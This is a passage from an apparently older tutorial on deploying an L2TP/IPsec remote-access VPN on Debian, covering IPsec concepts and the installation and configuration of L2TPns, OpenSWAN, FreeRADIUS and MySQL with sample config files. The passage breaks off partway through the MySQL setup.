&lt;p&gt;The more requirements you meet the more secure is the medium, once established. Let’s review, something we have is like a certificate, it proves who we are. Something we know, is a key, a secret password which we were told in a whisper, and something we are is our-fingerprint which identifies ourselves from other individuals.&lt;/p&gt;
&lt;h4 id=&quot;ipsec-in-depth&quot;&gt;IPsec in Depth&lt;/h4&gt;
&lt;p&gt;IPsec consists of two main protocols, an Authentication Header and Encapsulation Security Payload, also known as AH and ESP. Although it is not bound to these and can be extended (and often is) to other standards such as:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Data Encryption Standard (DES and 3DES)&lt;/li&gt;
&lt;li&gt;Diffie-Hellman (DH)&lt;/li&gt;
&lt;li&gt;Secure Hash Algorithm-1 (SHA1)&lt;/li&gt;
&lt;li&gt;Message Digest 5 (MD5)&lt;/li&gt;
&lt;li&gt;Internet Key Exchange (IKE)&lt;/li&gt;
&lt;li&gt;Certification Authorities (CA)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We’ll be deploying an IKE daemon to handle the key management, which uses the Diffie-Hellman cryptography protocol in order to allow two parties to establish a connection based upon a shared secret key that both parties posses. (Authentication within IKE is handled by MD5 hashing)&lt;/p&gt;
&lt;p&gt;IKE is responsible for authentication of two IPsec parties, negotiation of keys for encryption algorithms and security associations. This process is commonly regarded as two phases:&lt;/p&gt;
&lt;p&gt;Phase 1: IKE Security Association&lt;/p&gt;
&lt;p&gt;The IKE daemon authenticates against the peers in order to achieve a secure channel, according to the Diffie-Hellman key agreement.&lt;/p&gt;
&lt;p&gt;Phase 2: IKE IPsec Negotiation&lt;/p&gt;
&lt;p&gt;After achieving an authenticated channel, the parties now negotiate a secure transform (the way to encrypt and secure the medium) where the sender is offering his/hers transform set after which the receiver decides upon one. An IPsec session can now safely begin.&lt;/p&gt;
&lt;p&gt;Just to be clear, a Security Association is an agreed relation between two parties which describes how they will use security services (from IPsec) to communicate.&lt;/p&gt;
&lt;h4 id=&quot;ipsec-modes&quot;&gt;IPsec Modes&lt;/h4&gt;
&lt;p&gt;IPsec can operate in two different modes:&lt;/p&gt;
&lt;p&gt;Transport mode&lt;/p&gt;
&lt;p&gt;takes place when two devices (like a station and a gateway (now considered a host)) are establishing a connection which upon they both support IPsec.&lt;/p&gt;
&lt;p&gt;Tunnel mode&lt;/p&gt;
&lt;p&gt;we require tunnel mode when we proxy IPsec connections between two stations behind the IPsec gateway. For example, in a Site-to-Site VPN a tunnel mode lives, since it exists in order to provide the stations behind these gateways running the VPN/IPsec to communicate securely. In this situation, both end-points are running an IPsec software.&lt;/p&gt;
&lt;p&gt;In definition, a tunnel mode IPsec is better secured than transport. Without going too deep into the ins-and-outs of the technical side, transport mode doesn’t encapsulate the actual IP layer but only the tcp/udp (Transport layer of the OSI) where-as a tunnel mode encapsulate both the Transport layer and the IP layer into a new IP packet.&lt;/p&gt;
&lt;p&gt;To summarize, we need VPNs for data-exchange methods and a set of IPsec tools for security reasons.&lt;/p&gt;
&lt;h2 id=&quot;vpn-deployment&quot;&gt;VPN Deployment&lt;/h2&gt;
&lt;p&gt;I’ve assembled another diagram to view the actual VPN setup.  &lt;a href=&quot;https://l2tpns.sourceforge.net/docs/vpn/practical-vpns.html#vpn-deployment&quot; title=&quot;Figure 3. VPN Deployment&quot;&gt;Figure 3, “VPN Deployment”&lt;/a&gt;  gives a general description of how the network will be layed out in real-world scenario.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Figure 3. VPN Deployment&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://l2tpns.sourceforge.net/docs/vpn/vpn-deployment.png&quot; alt=&quot;VPN Deployment&quot;&gt;&lt;/p&gt;
&lt;p&gt;We notice that a single Linux box is acting as a Gateway and has all the services included with it. This is a bad idea from a security perspective but it’s easy to just deploy the FreeRADIUS and MySQL servers on another machine. Of course the L2TPns and the rest of the IPsec tools suite would have to remain on the Gateway box (not necessarily the Firewall).&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://l2tpns.sourceforge.net/docs/vpn/practical-vpns.html#vpn-process&quot; title=&quot;Figure 4. VPN Process&quot;&gt;Figure 4, “VPN Process”&lt;/a&gt;  attempts to explain the actual process that the VPN takes and to detail the place that each of that application-in-charge takes place.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Figure 4. VPN Process&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://l2tpns.sourceforge.net/docs/vpn/vpn-process.png&quot; alt=&quot;VPN Process&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;requirements&quot;&gt;Requirements&lt;/h3&gt;
&lt;h4 id=&quot;the-toolbox&quot;&gt;The Toolbox&lt;/h4&gt;
&lt;p&gt;Following is a description of the requirements you will have to meet:&lt;/p&gt;
&lt;p&gt;A Linux box&lt;/p&gt;
&lt;p&gt;preferably a 2.4.27 kernel or higher.&lt;/p&gt;
&lt;p&gt;Debian is the chosen distribution which means we’ll be using apt-get for installation, but I’ll also focus on basic source tarballs installation.&lt;/p&gt;
&lt;p&gt;Dependencies:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ipsec&lt;/code&gt; configuration in the kernel&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;L2TPns&lt;/p&gt;
&lt;p&gt;an L2TP PPP Termination tool.&lt;/p&gt;
&lt;p&gt;Dependencies:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;libcli&lt;/code&gt; 1.8.0 or greater&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tun/tap&lt;/code&gt; interface compiled in the kernel or as a module&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;FreeRADIUS&lt;/p&gt;
&lt;p&gt;For authentication, and accounting.&lt;/p&gt;
&lt;p&gt;MySQL&lt;/p&gt;
&lt;p&gt;To act as a back-end database for the RADIUS.&lt;/p&gt;
&lt;p&gt;OpenSwan&lt;/p&gt;
&lt;p&gt;Provides the ipsec suite package.&lt;/p&gt;
&lt;h4 id=&quot;kernel-support&quot;&gt;Kernel Support&lt;/h4&gt;
&lt;p&gt;Debian stock kernel 2.4.27 and up are ipsec compatible although if you think otherwise check for the &lt;code&gt;kernel-patch-openswan&lt;/code&gt; package.&lt;/p&gt;
&lt;h3 id=&quot;installation&quot;&gt;Installation&lt;/h3&gt;
&lt;h4 id=&quot;l2tpns&quot;&gt;L2TPns&lt;/h4&gt;
&lt;h5 id=&quot;installation-1&quot;&gt;Installation&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;L2TPns is a layer 2 tunneling protocol network server (LNS). It supports up to 65535 concurrent sessions per server/cluster plus ISP features such as rate limiting, walled garden, usage accounting, and more.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;In a personal note - L2TPns is highly configurable for many cases, and extremely reliable for production/commercial use.&lt;/p&gt;
&lt;p&gt;Step 1:&lt;/p&gt;
&lt;p&gt;Make sure you have &lt;code&gt;libcli-1.8&lt;/code&gt; development package installed:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ apt-cache search libcli&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;libcli-dev - emulates a cisco style telnet command-line interface (dev files)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;libcli1 - emulates a cisco style telnet command-line interface&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ apt-get install libcli-dev&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Step 2:&lt;/p&gt;
&lt;p&gt;Download the source from  &lt;a href=&quot;http://sourceforge.net/projects/l2tpns/&quot;&gt;SourceForge&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Step 3:&lt;/p&gt;
&lt;p&gt;Build and install:  &lt;code&gt;make &amp;#x26;&amp;#x26; make install&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&quot;note-1&quot;&gt;Note&lt;/h3&gt;
&lt;p&gt;Alternately, you can skip these steps and simply  &lt;code&gt;apt-get install l2tpns&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&quot;note-2&quot;&gt;Note&lt;/h3&gt;
&lt;p&gt;On RPM-based distributions, you should be able to make packages from the &lt;code&gt;libcli&lt;/code&gt; and &lt;code&gt;l2tpns&lt;/code&gt; source tarballs with  &lt;code&gt;rpmbuild -ta&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Once compilation is done you will have &lt;code&gt;l2tpns&lt;/code&gt; in  &lt;code&gt;/usr/sbin/l2tpns&lt;/code&gt;, and all configuration files can be found in  &lt;code&gt;/etc/l2tpns/&lt;/code&gt;.&lt;/p&gt;
&lt;h5 id=&quot;configuration&quot;&gt;Configuration&lt;/h5&gt;
&lt;p&gt;The only configuration that L2TPns takes is centralized in the configuration file  &lt;code&gt;/etc/l2tpns/startup-config&lt;/code&gt;.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set debug 2                               # Debugging level&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set log_file &quot;/var/log/l2tpns&quot;            # Log file: comment out to use stderr, use&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;                                          # &quot;syslog:facility&quot; for syslog&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set pid_file &quot;/var/run/l2tpns.pid&quot;        # Write pid to this file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set l2tp_secret _&quot;secret&quot;_                  # shared secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set primary_dns _212.117.128.6_             # Only 2 DNS server entries are allowed&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set secondary_dns _212.117.129.3_&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set primary_radius _192.168.0.1_            # Can have multiple radius server entries,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;                                          # but ony one radius secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set primary_radius_port 1812&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set radius_secret _&quot;radius_secret&quot;_&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set radius_accounting yes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set radius_dae_port 3799&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set accounting_dir &quot;/var/run/l2tpns/acct&quot; # Write usage accounting files into specified&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;					  # directory&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;set peer_address _192.168.0.1_              # Gateway address given to clients&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;load plugin &quot;sessionctl&quot;                  # Drop/kill sessions&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;load plugin &quot;autothrottle&quot;                # Throttle/snoop based on RADIUS&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;load plugin &quot;throttlectl&quot;                 # Control throttle/snoop with nsctl&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;load plugin &quot;snoopctl&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the trimmed down version of probably most of the common configuration and even some extra options.&lt;/p&gt;
&lt;p&gt;Important configuration options are highlighted and you should adjust these to meet your network needs. We can deploy all of the environment into one box which is of course not a very good idea from a security point of view, but will function just fine. Moreover, we will be using aliased IP addresses so once you’ve decided to move the FreeRADIUS daemon to another computer on the LAN it will be fairly easy and won’t take too much configuration into it.&lt;/p&gt;
&lt;p&gt;Next, we need to setup the IP pool that L2TPns will provide to each VPN client. The configuration file is located at  &lt;code&gt;/etc/l2tpns/ip_pool&lt;/code&gt;  and should look like the following:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;172.16.21.0/24&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;important&quot;&gt;Important&lt;/h3&gt;
&lt;p&gt;Of course you can change this pool to anything else (IANA IPs assigned for private internets only) just make sure it is not conflicting with your current LAN network addresses. This means that if you’ve assigned addresses of 192.168.0.1 and 192.168.0.2 to your LAN boxes you can’t have a pool of 192.168.0.1/24 defined since L2TPns will try to route those addresses from the tun device, which is needless to say a bad idea…&lt;/p&gt;
&lt;p&gt;Next up, creating the access-list for L2TPns.&lt;/p&gt;
&lt;p&gt;Add a username and password into  &lt;code&gt;/etc/l2tpns/users&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;admin:12345&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The password may either be plain-text as above, or encrypted with MD5 or DES (to distinguish DES from plain-text passwords, prefix the value with  &lt;code&gt;{crypt}&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;L2TPns utilizes a terminal connection on port 23 which you would feel very comfortable in if you have worked with routers and switches devices before. The terminal provides control over the ppp termination which is why we’ve created an account to log on to.&lt;/p&gt;
&lt;h4 id=&quot;ipsec&quot;&gt;IPsec&lt;/h4&gt;
&lt;h5 id=&quot;installation-2&quot;&gt;Installation&lt;/h5&gt;
&lt;p&gt;User-space IPsec tools for various IPsec implementations exist for linux, among them is the port of KAME’s &lt;code&gt;libipsec&lt;/code&gt;, &lt;code&gt;setkey&lt;/code&gt;, and racoon. Others are the OpenSWAN (a successor to the FreeSWAN project).&lt;/p&gt;
&lt;p&gt;Getting IPsec installed is fairly easy with Debian:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ apt-get install openswan&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The OpenSWAN project provides packages for RPM-based distributions.&lt;/p&gt;
&lt;p&gt;Alternately, you may download the  &lt;a href=&quot;http://www.openswan.org/code/&quot;&gt;source&lt;/a&gt;  from the OpenSWAN project:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ tar xvzf openswan-2.4.4.tar.gz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ cd openswan-2.4.4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ ./configure &amp;#x26;&amp;#x26; make &amp;#x26;&amp;#x26; make install&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h5 id=&quot;configuration-1&quot;&gt;Configuration&lt;/h5&gt;
&lt;p&gt;OpenSWAN acts as the IKE daemon (remember IKE? it’s job is to authenticate between the two peers and negotiate a secure medium). We will be setting up the IKE daemon as a RoadWarrior configuration, a term for remote access VPNs.&lt;/p&gt;
&lt;p&gt;We desire this approach for compatibility because after our VPN solution will be complete any user from a Windows machine will be easily ready to connect without any 3rd party applications, same for Linux.&lt;/p&gt;
&lt;p&gt;Configuration files are placed in  &lt;code&gt;/etc/ipsec.d/&lt;/code&gt;,  &lt;code&gt;/etc/ipsec.conf&lt;/code&gt;  and  &lt;code&gt;/etc/ipsec.secrets&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Let’s start by choosing the remote client and it’s PSK (Private Shared Key)  &lt;code&gt;/etc/ipsec.secrets&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;hostname_or_ipaddress %any : PSK &quot;mysecretkeyisverylong&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is an IP/key pair. The IP or FQDN defines the local peer (like a SOHO branch), then the remote host. Here we defined %any for all hosts, though it’s possible to define only a specific IP. At last, we define the key associated with it.&lt;/p&gt;
&lt;p&gt;A better way to create a key is to utilize /dev/random for creating a unique key.&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ dd if=/dev/random count=16 bs=1 2&gt;/dev/null | xxd -ps&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, let’s prepare the configuration file  &lt;code&gt;/etc/ipsec.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;version 2.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;config setup&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;     nat_traversal=yes&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;conn l2tp&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;     authby=secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;     pfs=no&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;     keyingtries=3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;     left=real_ip_address&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;     leftnexthop=%defaultroute&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;     leftprotoport=17/%any&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;     right=%any&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;     rightprotoport=17/%any&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;     auto=add&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;include /etc/ipsec.d/examples/no_oe.conf&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this file we have first defined version 2 which is a must, then enabled NAT Traversal. To understand the importance of this feature think of the following scenario: A remote user attempts to connect while he’s behind a router and therefore NATed. The router has to de-encapsulate the packet, change things and then build it up again and send it. IPsec doesn’t like other people messing with it’s packet. That’s why we solve this issue with NAT Traversal.&lt;/p&gt;
&lt;p&gt;Next up we configure authentication type (certificates, psk, rsa keys, etc) then the left and right peers. The default mode OpenSWAN takes is tunnel unless told otherwise. I won’t go into in-depth explanation of every method, you can take a quick look at  &lt;code&gt;/etc/ipsec.d/examples&lt;/code&gt;  for more explanation and other variations of working with RSA keys, Certificates, host-to-host, and more.&lt;/p&gt;
&lt;p&gt;In summary:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;We’ve configured an almost complete IPsec VPN setup.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;We’ve installed and configured a VPN server (L2TPns) and our IPsec security suite.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To control both of them we use:  &lt;code&gt;/etc/init.d/l2tpns&lt;/code&gt;  and  &lt;code&gt;/etc/init.d/racoon&lt;/code&gt;  (location of start-up scripts may vary on non-Debian systems, or if you’ve installed from source).&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id=&quot;freeradius&quot;&gt;FreeRADIUS&lt;/h4&gt;
&lt;p&gt;The VPN setup needs to authenticate against something, that is the users database which we chose to be a FreeRADIUS server backed with a MySQL database.&lt;/p&gt;
&lt;h5 id=&quot;installation-3&quot;&gt;Installation&lt;/h5&gt;
&lt;blockquote&gt;
&lt;p&gt;FreeRADIUS is the premiere open source RADIUS server. While detailed statistics are not available, we believe that FreeRADIUS is well within the top 5 RADIUS servers world-wide, in terms of the number of people who use it daily for authentication. It scales from embedded systems with small amounts of memory, to systems with millions of users. It is fast, flexible, configurable, and supports more authentication protocols than many commercial servers.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Installing on Debian:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ apt-get install freeradius freeradius-mysql&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;From source: Download the latest &lt;code&gt;freeradius&lt;/code&gt; package from  &lt;a href=&quot;http://freeradius.org/getting.html&quot;&gt;freeradius.org&lt;/a&gt;&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ tar xvzf freeradius.tar.gz&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ cd freeradius&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ ./configure &amp;#x26;&amp;#x26; make &amp;#x26;&amp;#x26; make install&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h5 id=&quot;configuration-2&quot;&gt;Configuration&lt;/h5&gt;
&lt;p&gt;This will appear a bit complex but it isn’t, it’s just a lot of configuration.&lt;/p&gt;
&lt;p&gt;Following are the configurations you need to have in your  &lt;code&gt;/etc/freeradius/&lt;/code&gt;  files.&lt;/p&gt;
&lt;p&gt;In this section I will not give you a dump of the configuration since they are very long and mostly default. I’ll just post which changes to make.&lt;/p&gt;
&lt;p&gt;We haven’t yet configured MySQL, but it’ll come afterwards, don’t worry.&lt;/p&gt;
&lt;p&gt;Make the following changes to the file  &lt;code&gt;/etc/freeradius/sql.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;server = &quot;192.168.0.1&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;login = &quot;radius&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;password = &quot;12345678&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Add the following to the file  &lt;code&gt;/etc/freeradius/clients.conf&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;client 192.168.0.1 {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;	secret	  = my_secret&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;	shortname = localhost&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;	nastype	  = other&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Don’t confuse the secret directive there with IPsec. RADIUS server are using secret keys also to identify their allowed NAS (Network Access Servers), these are the clients that talk to the RADIUS server.&lt;/p&gt;
&lt;p&gt;Also, change the  &lt;code&gt;client 127.0.0.1 {}&lt;/code&gt;  directive to hold the secret “my_secret” like we configured for 192.168.0.1 to avoid conflicts.&lt;/p&gt;
&lt;p&gt;Uncomment the  &lt;code&gt;sql&lt;/code&gt;  directive in the  &lt;code&gt;authorize&lt;/code&gt;,  &lt;code&gt;accounting&lt;/code&gt;, and  &lt;code&gt;session&lt;/code&gt;  sections of  &lt;code&gt;/etc/freeradius/radiusd.conf&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now for populating FreeRADIUS with MySQL. If you don’t know or haven’t set root password for MySQL you can do it now with:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;$ mysqladmin -u root password password_here&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then add the following to  &lt;code&gt;/root/.my.cnf&lt;/code&gt;:&lt;/p&gt;
